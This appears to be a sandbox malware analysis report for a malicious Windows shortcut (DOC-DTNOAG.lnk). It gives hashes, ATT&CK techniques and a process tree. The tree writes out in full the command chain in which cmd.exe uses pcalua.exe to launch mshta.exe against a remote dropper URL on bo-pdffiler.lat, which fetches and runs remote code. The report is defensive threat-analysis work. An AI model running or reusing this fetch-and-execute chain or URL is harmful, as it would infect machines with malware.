d05c3c644889fc73df7ffaacc3ed7c19d23a5ebef8b871ea1b7ef9433e59ddbc

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 12:54

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General

Target
DOC-DTNOAG.lnk
Size 1KB
Sample260803-p5dnhszvez
SHA256 d05c3c644889fc73df7ffaacc3ed7c19d23a5ebef8b871ea1b7ef9433e59ddbc
MD5 f85d4d6bb5b7a66350d0eebaf399e8f6
SHA1 9c4482bd065189381061c7b292b06051d5b19b1b
SHA512 42590046a9569e077eb3b5da40a5f34fa937f0a33c8d6f7696f5728e43cf9927d3f900dd45390f3591eca7a71d3d93dcaa2c9ecb050db8fe69a796e4f644ce7e
TLSH
T1143121143EFA0624F3B79E735477AB1489BBB85A8E118A1E418546481472A14E07AFB7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3496	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3496 wrote to memory of 4968	3496	cmd.exe	86
PID 4968 wrote to memory of 1800	4968	pcalua.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DTNOAG.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3496
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
    3⤵
    PID:1800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads